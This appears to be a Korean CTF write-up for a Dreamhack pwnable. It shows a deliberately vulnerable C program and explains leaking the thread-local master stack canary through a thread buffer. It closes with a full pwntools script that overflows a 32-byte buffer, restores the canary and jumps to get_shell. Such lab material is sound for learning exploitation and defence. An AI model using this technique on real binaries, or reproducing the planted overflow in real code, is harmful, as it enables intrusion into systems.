Index
문제
보호기법 확인
NX bit와 stack Canary가 켜져있다.
master_canary.c
// gcc -o master master_canary.c -pthread -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
char *global_buffer;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
void read_bytes(char *buf, size_t size) {
size_t sz = 0;
size_t idx = 0;
size_t tmp;
while (sz < size) {
tmp = read(0, &buf[idx], 1);
if (tmp != 1) {
exit(-1);
}
idx += 1;
sz += 1;
}
return;
}
int main(int argc, char *argv[]) {
size_t size;
pthread_t thread_t;
size_t idx;
char leave_comment[32];
initialize();
while(1) {
printf("1. Create thread\n");
printf("2. Input\n");
printf("3. Exit\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
{
perror("thread create error");
exit(0);
}
break;
case 2:
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(global_buffer, size);
printf("Data: %s", global_buffer);
break;
case 3:
printf("Leave comment: ");
read(0, leave_comment, 1024);
return 0;
default:
printf("Nope\n");
break;
}
}
return 0;
}
switch 문을 보면 case가 총 3개로 이루어져 있다.
- Create thread (idx==1) : thread_rotine 함수를 쓰레드로 생성한다.
- Input(idx==2) : 전역변수 global_buffer 주소와 size를 read_bytes 함수로 넘긴다. 이때, read_bytes 함수는 global_buffer에 1byte 씩 size 만큼 반복하면서 값을 입력받는다.
- Exit (idx==3) : main에 지역변수로 할당된 leave_comment 배열에 1024byte 만큼 입력을 받는다. 이때, leave_commnet 배열은 32byte 크기를 가진다.
문제 풀이
이 문제에서는 global_buffer라는 포인터 변수가 전역변수로 할당되어 있다. 1번(Create thread) 메뉴를 통해 buf를 할당하고, 이를 전역 포인터 변수로 관리한다.
이 포인터수 안의 주소 값에 데이터를 원하는 크기만큼 입력받고 출력해주기 때문에, fs_base+0x28에 존재하는 canary의 0x00 값을 덮어줌으로써 canary 값을 leak 할 수 있다.
3번(Exit) 메뉴에서 exploit을 할 때, 얻어낸 canary 값과 함께 exploit을 하면 셸을 얻을 수 있다.
0. 마스터 카나리
마스터 카나리는 로더에서 할당한 TLS에 존재하고, 해당 페이지는 RW-이다.
main 함수 호출전에 랜덤의 카나리 값을 쓰레드마다 전역 변수로 사용되는 TLS에 저장하여 모든 쓰레드가 하나의 카나리 값을 사용할 수 있게 한다.
마스터 카나리는 스택에 있지 않아서 BOF가 발생해도 exploit이 불가능하지만, 쓰레드 스택의 경우는 예외적으로 쓰레드 스택에 마스터 카나리가 들어간다.
1. Canary Offset
스레드에서 전역 포인터 변수에 주소 값을 넣어준다. 브레이크 포인트를 걸고 확인하면 실제 메모리가 쓰여지는 변수와 fs_base+0x28의 거리 값을 확인할 수 있다. 거리 값은 0x8e8이고, canary 첫번째 0x00을 채워야 카나리 값을 얻어낼 수 있기 때문에 0x8e9 만큼 값을 넣어주면 된다.
이때, 스레드에서 할당한 변수는 마스터 카나리가 위치하는 주소보다 낮은 주소에 있기 때문에 마스터 카나리까지 덮어서 카나리 값을 얻을 수 있는 것이다.
2. Exploit
메뉴 3번에서 rbp-0x30에 0x400 만큼 입력을 받으므로, bof가 발생한다. rbp-0x8에 있는 canary 값과 마스터 카나리(fs_base+0x28)가 비교된다. 앞서 얻어낸 카나리 값을 이 곳에 잘 넣어주고, RET 값을 get_shell 함수 주소로 넣어주면 셸을 얻을 수 있다.
익스플로잇 코드
from pwn import *
context.log_level='debug'
p = remote('host3.dreamhack.games', 19957)
#p = process('./master_canary')
e = ELF('./master_canary')
get_shell = e.sym["get_shell"]
print(hex(get_shell))
payload = b'A'* 0x8e9
size = len(payload)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Size: ', str(size))
p.sendafter(b'Data: ', payload)
p.recvuntil(payload)
canary = u64(p.recvn(7).rjust(8, b'\x00'))
print('canary :',hex(canary))
payload = b'A' * 0x28
payload += p64(canary)
payload += b'B' * 8
payload += p64(get_shell)
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Leave comment: ', payload)
p.interactive()
Reference
Uploaded by N2T